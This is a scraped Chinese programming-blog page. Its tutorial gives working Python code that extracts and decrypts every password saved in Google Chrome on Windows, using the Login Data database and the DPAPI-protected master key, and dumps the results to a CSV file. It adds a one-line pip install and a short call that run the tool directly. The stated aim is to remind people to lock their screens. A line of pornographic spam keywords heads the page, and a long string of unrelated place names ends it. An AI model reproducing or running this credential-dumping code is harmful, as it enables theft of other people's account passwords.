最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

基于Python實(shí)現(xiàn)一鍵獲取電腦瀏覽器的賬號密碼

 更新時間:2022年05月10日 14:12:59   作者:白露未晞me  
發(fā)現(xiàn)很多人在學(xué)校圖書館喜歡用電腦占座,而且出去的時候經(jīng)常不鎖屏,為了讓大家養(yǎng)成良好的習(xí)慣,本文將分享一個小程序,可以快速獲取你存儲在電腦瀏覽器中的所有賬號和密碼,感興趣的可以了解一下

導(dǎo)語

發(fā)現(xiàn)很多人在學(xué)校圖書館喜歡用電腦占座(以古度今,我好像好多年沒去過學(xué)校圖書館了),而且出去的時候經(jīng)常不鎖屏,為了讓大家養(yǎng)成良好的習(xí)慣,我來帶大家寫個小程序吧,無需輸入任何密碼就可以快速獲取你存儲在電腦瀏覽器中的所有賬號和密碼,算是通過實(shí)踐出真知來給大家提個醒了~

廢話不多說,讓我們愉快地開始吧~

相關(guān)文件

Github地址

開發(fā)工具

Python版本:3.7.8

相關(guān)模塊:

pikachupytools模塊;

pycryptodome模塊;

以及一些python自帶的模塊。

環(huán)境搭建

安裝Python并添加到環(huán)境變量,pip安裝需要的相關(guān)模塊即可。

原理簡介

眾所周知,我們的瀏覽器里一般存儲了很多我們訪問過的網(wǎng)站的賬號和密碼:

一般情況下,查看這些密碼是需要輸入電腦的開機(jī)密碼的。但是事實(shí)上,我們也可以通過其他方式直接查看這些賬號密碼。例如谷歌瀏覽器里保存賬號密碼的數(shù)據(jù)庫文件默認(rèn)路徑為:

os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'

我們可以通過讀取該文件獲得對應(yīng)的賬號密碼:

'''讀取數(shù)據(jù)庫數(shù)據(jù)'''
def readdb(self, dbpath, master_key):
    sql = 'SELECT origin_url, username_value, password_value, date_created, date_last_used FROM logins;'
    client = sqlite3.connect(dbpath)
    cursor = client.cursor()
    with open(self.savename, 'a', newline='', encoding='utf-8-sig') as csv_file:
        cursor.execute(sql)
        csv_writer = csv.writer(csv_file, dialect=('excel'))
        if not self.write_heads_flag:
            csv_writer.writerow(self.csv_heads)
            self.write_heads_flag = True
        info = []
        for row in cursor.fetchall():
            for idx in range(len(self.csv_heads)):
                if isinstance(row[idx], bytes):
                    info.append(self.decrypt(row[idx], master_key))
                else:
                    info.append(row[idx])
            csv_writer.writerow(info)
            info = []
    cursor.close()
    client.close()

其中密碼是加密之后的結(jié)果,打印出來大概是這樣子的:

但是解密其實(shí)也很簡單,通過網(wǎng)上的資料可以知道,我們只需要獲得key值:

'''獲得master key'''
def getmasterkey(self, local_state_path):
    import win32crypt
    with open(os.environ['USERPROFILE'] + os.sep + local_state_path, 'r', encoding='utf-8') as fp:
        local_state = fp.read()
        local_state = json.loads(local_state)
    master_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
    master_key = master_key[5:]
    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
    return master_key

然后根據(jù)key值進(jìn)行解碼就行了:

'''解碼'''
def decrypt(self, value, master_key):
    print(value)
    if value[:3] == b'v10':
        from Crypto.Cipher import AES
        iv, payload = value[3:15], value[15:]
        cipher = AES.new(master_key, AES.MODE_GCM, iv)
        decrypted_value = cipher.decrypt(payload)
        decrypted_value = decrypted_value[:-16].decode()
    else:
        import win32crypt
        decrypted_value = win32crypt.CryptUnprotectData(value)[1].decode()
    return decrypted_value

解碼之后的運(yùn)行效果結(jié)果如下:

獲得的結(jié)果默認(rèn)保存在results.csv中,截圖如下:

ok,大功告成啦,完整源代碼詳見相關(guān)文件。

想要快速測試的小伙伴只需要pip安裝一下pikachupytools包:

pip install pikachupytools --upgrade

然后簡單寫幾行代碼就能調(diào)用運(yùn)行了:

from pytools import pytools

tool_client = pytools.pytools()
tool_client.execute('decryptbrowser')

到此這篇關(guān)于基于Python實(shí)現(xiàn)一鍵獲取電腦瀏覽器的賬號密碼的文章就介紹到這了,更多相關(guān)Python瀏覽器賬號密碼內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • Python中列表的常用操作詳解

    Python中列表的常用操作詳解

    這篇文章主要為大家詳細(xì)介紹了python字典的常用操作方法,主要內(nèi)容包含Python中列表(List)的詳解操作方法,包含創(chuàng)建、訪問、更新、刪除、其它操作等,需要的朋友可以參考下
    2021-09-09
  • Python實(shí)現(xiàn)Smtplib發(fā)送帶有各種附件的郵件實(shí)例

    Python實(shí)現(xiàn)Smtplib發(fā)送帶有各種附件的郵件實(shí)例

    本篇文章主要介紹了Python實(shí)現(xiàn)Smtplib發(fā)送帶有各種附件的郵件實(shí)例,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2017-06-06
  • python 通過logging寫入日志到文件和控制臺的實(shí)例

    python 通過logging寫入日志到文件和控制臺的實(shí)例

    下面小編就為大家分享一篇python 通過logging寫入日志到文件和控制臺的實(shí)例,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2018-04-04
  • Django admin美化插件suit使用示例

    Django admin美化插件suit使用示例

    這篇文章主要介紹了Django admin美化插件suit使用示例,簡單介紹了suit的使用界面示例,官方文檔,安裝語句等相關(guān)內(nèi)容,具有一定借鑒價值,需要的朋友可以參考下。
    2017-12-12
  • 使用selenium模擬動態(tài)登錄百度頁面的實(shí)現(xiàn)

    使用selenium模擬動態(tài)登錄百度頁面的實(shí)現(xiàn)

    本文主要介紹了使用selenium模擬動態(tài)登錄百度頁面,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2023-05-05
  • PyCharm2019 安裝和配置教程詳解附激活碼

    PyCharm2019 安裝和配置教程詳解附激活碼

    這篇文章主要介紹了PyCharm2019 安裝和配置,本文通過圖文并茂的形式給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下
    2020-07-07
  • Python運(yùn)算符的使用保姆級教學(xué)

    Python運(yùn)算符的使用保姆級教學(xué)

    這篇文章主要給大家介紹了關(guān)于Python運(yùn)算符使用的相關(guān)資料,文中總結(jié)了Python中的算術(shù)運(yùn)算符、賦值運(yùn)算符、比較運(yùn)算符、邏輯運(yùn)算符、位運(yùn)算符和成員運(yùn)算符的用法和特性,需要的朋友可以參考下
    2024-11-11
  • Python遞歸函數(shù)特點(diǎn)及原理解析

    Python遞歸函數(shù)特點(diǎn)及原理解析

    這篇文章主要介紹了Python遞歸函數(shù)特點(diǎn)及原理解析,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下
    2020-03-03
  • 利用Python操作excel表格的完美指南

    利用Python操作excel表格的完美指南

    你是不是會經(jīng)常簡單且重復(fù)地操作excel表格?并且這些操作的技術(shù)含量低,下面這篇文章主要給大家介紹了關(guān)于利用Python操作excel表格的相關(guān)資料,需要的朋友可以參考下
    2022-02-02
  • python連接mongodb操作數(shù)據(jù)示例(mongodb數(shù)據(jù)庫配置類)

    python連接mongodb操作數(shù)據(jù)示例(mongodb數(shù)據(jù)庫配置類)

    這篇文章主要介紹了python連接mongodb操作數(shù)據(jù)示例,主要包括插入數(shù)據(jù)、更新數(shù)據(jù)、查詢數(shù)據(jù)、刪除數(shù)據(jù)等
    2013-12-12

最新評論

盐源县| 长子县| 苏尼特左旗| 澜沧| 特克斯县| 沿河| 万山特区| 常德市| 巨野县| 龙泉市| 静宁县| 亚东县| 乌拉特前旗| 乳源| 东山县| 元朗区| 宁安市| 灵山县| 句容市| 惠东县| 湘西| 泰和县| 自贡市| 札达县| 温泉县| 漯河市| 曲靖市| 嘉峪关市| 安平县| 阿拉善右旗| 潜江市| 曲周县| 全南县| 柘荣县| 察雅县| 扬州市| 翁牛特旗| 绩溪县| 双辽市| 盐山县| 承德市|